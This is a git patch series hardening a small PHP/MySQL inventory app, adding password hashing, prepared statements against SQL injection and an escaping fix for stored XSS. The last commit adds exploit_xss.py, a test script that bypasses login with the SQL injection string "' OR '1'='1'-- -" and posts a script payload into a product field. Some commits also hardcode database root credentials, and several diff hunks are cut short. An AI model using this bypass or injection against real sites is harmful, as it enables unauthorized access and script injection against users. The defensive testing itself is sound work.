From b138be4435645da47dc676067f8944530a1b4b50 Mon Sep 17 00:00:00 2001 From: davidngvyen <157076029+davidngvyen-tamu@users.noreply.github.com> Date: Wed, 4 Mar 2026 20:31:41 -0600 Subject: [PATCH 1/7] added bcrypt password hashing and MySQL Error Messages Suppressed --- additem.php | 11 ++++++++--- config.php | 5 +++-- delete.php | 10 ++++++++-- edit.php | 5 +++++ login.php | 17 +++++++++++------ table.php | 10 +++++++++- 6 files changed, 44 insertions(+), 14 deletions(-) diff --git a/additem.php b/additem.php index ccb4053..669b869 100644 --- a/additem.php +++ b/additem.php @@ -1,11 +1,16 @@ diff --git a/delete.php b/delete.php index a48518c..1db39f6 100644 --- a/delete.php +++ b/delete.php @@ -1,7 +1,13 @@ Login Failed."; } diff --git a/table.php b/table.php index 265a72f..9dfe5df 100644 --- a/table.php +++ b/table.php @@ -1,3 +1,10 @@ + @@ -50,7 +57,8 @@ query($sql); $count = 0; From 2f08068d2a8f3574d3106e8210babd9212ed0f9f Mon Sep 17 00:00:00 2001 From: davidngvyen <157076029+davidngvyen-tamu@users.noreply.github.com> Date: Wed, 4 Mar 2026 21:13:21 -0600 Subject: [PATCH 2/7] added missing authentication to config.php and moved credentials to .env --- .gitignore | 2 ++ additem.php | 3 ++- config.php | 10 +++++++++- delete.php | 3 ++- login.php | 7 ++----- table.php | 3 ++- 6 files changed, 19 insertions(+), 9 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5933c1b --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.env +env_loader.php diff --git a/additem.php b/additem.php index 669b869..61612d0 100644 --- a/additem.php +++ b/additem.php @@ -4,11 +4,12 @@ header("Location: index.html"); exit(); } +require_once(__DIR__ . '/env_loader.php'); mysqli_report(MYSQLI_REPORT_OFF); $item_name = ""; $item_price = ""; -$db = mysqli_connect('localhost', 'root', 'hellodavid', 'inventorymanagement'); +$db = mysqli_connect(getenv('DB_HOST'), getenv('DB_USER'), getenv('DB_PASSWORD'), getenv('DB_NAME')); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/config.php b/config.php index b796cb5..486a8dd 100644 --- a/config.php +++ b/config.php @@ -1,6 +1,14 @@ query($sql); $count = 0; From e3c02dbddb301b413bdfc5fd4fd36857b92649fe Mon Sep 17 00:00:00 2001 From: davidngvyen <157076029+davidngvyen-tamu@users.noreply.github.com> Date: Thu, 5 Mar 2026 18:27:37 -0600 Subject: [PATCH 3/7] refactor database connection to use hardcoded credentials and remove env_loader.php references --- .gitignore | 3 +-- additem.php | 3 +-- config.php | 3 +-- delete.php | 3 +-- inventorymanagement.sql | 2 +- login.php | 3 +-- 6 files changed, 6 insertions(+), 11 deletions(-) diff --git a/.gitignore b/.gitignore index 5933c1b..8b13789 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1 @@ -.env -env_loader.php + diff --git a/additem.php b/additem.php index 61612d0..d5bc436 100644 --- a/additem.php +++ b/additem.php @@ -4,12 +4,11 @@ header("Location: index.html"); exit(); } -require_once(__DIR__ . '/env_loader.php'); mysqli_report(MYSQLI_REPORT_OFF); $item_name = ""; $item_price = ""; -$db = mysqli_connect(getenv('DB_HOST'), getenv('DB_USER'), getenv('DB_PASSWORD'), getenv('DB_NAME')); +$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/config.php b/config.php index 486a8dd..b8505ae 100644 --- a/config.php +++ b/config.php @@ -6,9 +6,8 @@ header("Location: index.html"); exit(); } -require_once(__DIR__ . '/env_loader.php'); mysqli_report(MYSQLI_REPORT_OFF); -$db = mysqli_connect(getenv('DB_HOST'), getenv('DB_USER'), getenv('DB_PASSWORD'), getenv('DB_NAME')); +$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/delete.php b/delete.php index 95339e1..a485742 100644 --- a/delete.php +++ b/delete.php @@ -4,9 +4,8 @@ header("Location: index.html"); exit(); } -require_once(__DIR__ . '/env_loader.php'); mysqli_report(MYSQLI_REPORT_OFF); -$db = mysqli_connect(getenv('DB_HOST'), getenv('DB_USER'), getenv('DB_PASSWORD'), getenv('DB_NAME')); +$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/inventorymanagement.sql b/inventorymanagement.sql index 51fa2df..eb4d291 100644 --- a/inventorymanagement.sql +++ b/inventorymanagement.sql @@ -24,7 +24,7 @@ SET time_zone = "+00:00"; -- -------------------------------------------------------- -- --- Table structure for table `product` +-- Table structure for table `product` -- CREATE TABLE `product` ( diff --git a/login.php b/login.php index 25bce04..53d3868 100644 --- a/login.php +++ b/login.php @@ -1,9 +1,8 @@ Date: Fri, 6 Mar 2026 17:03:20 -0600 Subject: [PATCH 4/7] Fix SQL injection in login, add Docker setup, update DB config for Docker Made-with: Cursor --- Dockerfile | 2 ++ additem.php | 2 +- config.php | 2 +- delete.php | 2 +- docker-compose.yml | 20 ++++++++++++++++++++ init-db/01-schema.sql | 34 ++++++++++++++++++++++++++++++++++ login.php | 8 +++++--- table.php | 5 ++--- 8 files changed, 66 insertions(+), 9 deletions(-) create mode 100644 Dockerfile create mode 100644 docker-compose.yml create mode 100644 init-db/01-schema.sql diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..b7e1d20 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,2 @@ +FROM php:8.2-apache +RUN docker-php-ext-install mysqli diff --git a/additem.php b/additem.php index d5bc436..1cc5ab2 100644 --- a/additem.php +++ b/additem.php @@ -8,7 +8,7 @@ $item_name = ""; $item_price = ""; -$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); +$db = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/config.php b/config.php index b8505ae..02684a7 100644 --- a/config.php +++ b/config.php @@ -7,7 +7,7 @@ exit(); } mysqli_report(MYSQLI_REPORT_OFF); -$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); +$db = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/delete.php b/delete.php index a485742..7ee6241 100644 --- a/delete.php +++ b/delete.php @@ -5,7 +5,7 @@ exit(); } mysqli_report(MYSQLI_REPORT_OFF); -$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); +$db = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..981e393 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,20 @@ +services: + web: + build: . + ports: + - "8080:80" + volumes: + - .:/var/www/html + depends_on: + - db + + db: + image: mysql:8.0 + restart: always + environment: + MYSQL_ROOT_PASSWORD: root + MYSQL_DATABASE: inventorymanagement + ports: + - "3307:3306" + volumes: + - ./init-db:/docker-entrypoint-initdb.d diff --git a/init-db/01-schema.sql b/init-db/01-schema.sql new file mode 100644 index 0000000..e353989 --- /dev/null +++ b/init-db/01-schema.sql @@ -0,0 +1,34 @@ +USE inventorymanagement; + +CREATE TABLE IF NOT EXISTS `product` ( + `product_id` int(20) NOT NULL AUTO_INCREMENT, + `product_name` varchar(30) NOT NULL, + `price` float NOT NULL, + `quantity` int(10) NOT NULL, + PRIMARY KEY (`product_id`) +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +CREATE TABLE IF NOT EXISTS `user` ( + `id` int(10) NOT NULL AUTO_INCREMENT, + `email` varchar(50) NOT NULL, + `password` varchar(255) NOT NULL, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; + +INSERT INTO `product` (`product_id`, `product_name`, `price`, `quantity`) VALUES +(1, 'iPhone 14', 100000, 990), +(2, 'iPhone 13', 64900, 550), +(3, 'iPhone SE', 49000, 100), +(4, 'iPhone 12', 59900, 15000), +(5, 'MacBook Air 13', 99900, 596), +(6, 'MacBook Pro 14', 199900, 450), +(7, 'iMac24', 129900, 30), +(8, 'Mac Mini', 49000, 700), +(9, 'Apple Watch Ultra', 89900, 300), +(10, 'Apple Watch SE', 29900, 500), +(11, 'AirPods', 14900, 1500), +(12, 'AirPods Max', 59000, 900), +(14, 'Apple TV 8K', 599000, 150); + +INSERT INTO `user` (`id`, `email`, `password`) VALUES +(1, 'admin@apple.com', '$2y$10$ILlZGyREPx6jLC2ImzKHj.TWZQ8Q54UpGyLzv3RR3mv/xt88shn9u'); diff --git a/login.php b/login.php index 53d3868..f1303e0 100644 --- a/login.php +++ b/login.php @@ -2,7 +2,7 @@ session_start(); mysqli_report(MYSQLI_REPORT_OFF); -$con = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); +$con = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } @@ -10,8 +10,10 @@ $email = $_POST['email']; $user_password = $_POST['password']; -$sql = "select * from user where email = '$email'"; -$result = mysqli_query($con, $sql); +$stmt = mysqli_prepare($con, "SELECT * FROM user WHERE email = ?"); +mysqli_stmt_bind_param($stmt, "s", $email); +mysqli_stmt_execute($stmt); +$result = mysqli_stmt_get_result($stmt); $row = mysqli_fetch_array($result, MYSQLI_ASSOC); $count = mysqli_num_rows($result); diff --git a/table.php b/table.php index 9c5de57..c0f839b 100644 --- a/table.php +++ b/table.php @@ -57,9 +57,8 @@ query($sql); $count = 0; From 4f5e50a3a61bbab1da0511fae068f53ed50a0ae5 Mon Sep 17 00:00:00 2001 From: arjunkalee Date: Fri, 6 Mar 2026 17:05:15 -0600 Subject: [PATCH 5/7] Remove Docker and init-db, revert DB config to localhost Made-with: Cursor --- Dockerfile | 2 -- additem.php | 2 +- config.php | 2 +- delete.php | 2 +- docker-compose.yml | 20 -------------------- init-db/01-schema.sql | 34 ---------------------------------- login.php | 2 +- 7 files changed, 4 insertions(+), 60 deletions(-) delete mode 100644 Dockerfile delete mode 100644 docker-compose.yml delete mode 100644 init-db/01-schema.sql diff --git a/Dockerfile b/Dockerfile deleted file mode 100644 index b7e1d20..0000000 --- a/Dockerfile +++ /dev/null @@ -1,2 +0,0 @@ -FROM php:8.2-apache -RUN docker-php-ext-install mysqli diff --git a/additem.php b/additem.php index 1cc5ab2..d5bc436 100644 --- a/additem.php +++ b/additem.php @@ -8,7 +8,7 @@ $item_name = ""; $item_price = ""; -$db = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); +$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/config.php b/config.php index 02684a7..b8505ae 100644 --- a/config.php +++ b/config.php @@ -7,7 +7,7 @@ exit(); } mysqli_report(MYSQLI_REPORT_OFF); -$db = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); +$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/delete.php b/delete.php index 7ee6241..a485742 100644 --- a/delete.php +++ b/delete.php @@ -5,7 +5,7 @@ exit(); } mysqli_report(MYSQLI_REPORT_OFF); -$db = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); +$db = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } diff --git a/docker-compose.yml b/docker-compose.yml deleted file mode 100644 index 981e393..0000000 --- a/docker-compose.yml +++ /dev/null @@ -1,20 +0,0 @@ -services: - web: - build: . - ports: - - "8080:80" - volumes: - - .:/var/www/html - depends_on: - - db - - db: - image: mysql:8.0 - restart: always - environment: - MYSQL_ROOT_PASSWORD: root - MYSQL_DATABASE: inventorymanagement - ports: - - "3307:3306" - volumes: - - ./init-db:/docker-entrypoint-initdb.d diff --git a/init-db/01-schema.sql b/init-db/01-schema.sql deleted file mode 100644 index e353989..0000000 --- a/init-db/01-schema.sql +++ /dev/null @@ -1,34 +0,0 @@ -USE inventorymanagement; - -CREATE TABLE IF NOT EXISTS `product` ( - `product_id` int(20) NOT NULL AUTO_INCREMENT, - `product_name` varchar(30) NOT NULL, - `price` float NOT NULL, - `quantity` int(10) NOT NULL, - PRIMARY KEY (`product_id`) -) ENGINE=InnoDB DEFAULT CHARSET=latin1; - -CREATE TABLE IF NOT EXISTS `user` ( - `id` int(10) NOT NULL AUTO_INCREMENT, - `email` varchar(50) NOT NULL, - `password` varchar(255) NOT NULL, - PRIMARY KEY (`id`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; - -INSERT INTO `product` (`product_id`, `product_name`, `price`, `quantity`) VALUES -(1, 'iPhone 14', 100000, 990), -(2, 'iPhone 13', 64900, 550), -(3, 'iPhone SE', 49000, 100), -(4, 'iPhone 12', 59900, 15000), -(5, 'MacBook Air 13', 99900, 596), -(6, 'MacBook Pro 14', 199900, 450), -(7, 'iMac24', 129900, 30), -(8, 'Mac Mini', 49000, 700), -(9, 'Apple Watch Ultra', 89900, 300), -(10, 'Apple Watch SE', 29900, 500), -(11, 'AirPods', 14900, 1500), -(12, 'AirPods Max', 59000, 900), -(14, 'Apple TV 8K', 599000, 150); - -INSERT INTO `user` (`id`, `email`, `password`) VALUES -(1, 'admin@apple.com', '$2y$10$ILlZGyREPx6jLC2ImzKHj.TWZQ8Q54UpGyLzv3RR3mv/xt88shn9u'); diff --git a/login.php b/login.php index f1303e0..29bb65f 100644 --- a/login.php +++ b/login.php @@ -2,7 +2,7 @@ session_start(); mysqli_report(MYSQLI_REPORT_OFF); -$con = mysqli_connect('db', 'root', 'root', 'inventorymanagement'); +$con = mysqli_connect('localhost', 'root', '', 'inventorymanagement'); if (mysqli_connect_errno()) { die("Connection failed. Please try again later."); } From 451d6e4af94d7d8d6eac990317cba85b963893ce Mon Sep 17 00:00:00 2001 From: arjunkalee Date: Fri, 6 Mar 2026 17:10:29 -0600 Subject: [PATCH 6/7] removed deleting entire database injection Made-with: Cursor --- delete.php | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/delete.php b/delete.php index a485742..d793c7a 100644 --- a/delete.php +++ b/delete.php @@ -12,12 +12,13 @@ ?> 0) { + $id = (int)$_GET['id']; + $stmt = mysqli_prepare($db, "DELETE FROM product WHERE product_id = ?"); + mysqli_stmt_bind_param($stmt, "i", $id); + mysqli_stmt_execute($stmt); } +header("Location: table.php"); +exit(); ?> \ No newline at end of file From 83fbd0d06780eda4428582726a69d1244c501abd Mon Sep 17 00:00:00 2001 From: ericliu-12 <133845008+alaska-summer@users.noreply.github.com> Date: Fri, 6 Mar 2026 23:16:22 -0600 Subject: [PATCH 7/7] Fix stored XSS and add automated script used for testing --- additem.php | 12 ++++++------ exploit_xss.py | 32 ++++++++++++++++++++++++++++++++ table.php | 6 +++--- 3 files changed, 41 insertions(+), 9 deletions(-) create mode 100644 exploit_xss.py diff --git a/additem.php b/additem.php index d5bc436..e047652 100644 --- a/additem.php +++ b/additem.php @@ -15,13 +15,13 @@ if (isset($_POST['add'])) { echo "connect"; - $item_name = mysqli_real_escape_string($db, $_POST['product_name']); - $item_price = mysqli_real_escape_string($db, $_POST['price']); - $quant = mysqli_real_escape_string($db, $_POST['quant']); + $item_name = $_POST['product_name']; + $item_price = $_POST['price']; + $quant = $_POST['quant']; - $query = "INSERT INTO product (product_name,price,quantity) - VALUES('$item_name','$item_price','$quant')"; - if (mysqli_query($db, $query)) { + $stmt = mysqli_prepare($db, "INSERT INTO product (product_name,price,quantity) VALUES(?,?,?)"); + mysqli_stmt_bind_param($stmt, "sss", $item_name, $item_price, $quant); + if (mysqli_stmt_execute($stmt)) { echo ""; } else { diff --git a/exploit_xss.py b/exploit_xss.py new file mode 100644 index 0000000..1d29e6e --- /dev/null +++ b/exploit_xss.py @@ -0,0 +1,32 @@ +import requests + +s = requests.Session() + +print("logging in with sql injection...") +r = s.post("http://localhost:8080/login.php", data={ + "email": "' OR '1'='1'-- -", + "password": "test" +}) + +if "table.php" in r.url: + print("login bypassed") +else: + print("login failed, is the app running?") + exit() + +print("injecting xss payload") +payload = "" +s.post("http://localhost:8080/additem.php", data={ + "product_name": payload, + "price": "1", + "quant": "1", + "add": "submit" +}) + +print("checking if payload is in the page...") +r = s.get("http://localhost:8080/table.php") + +if "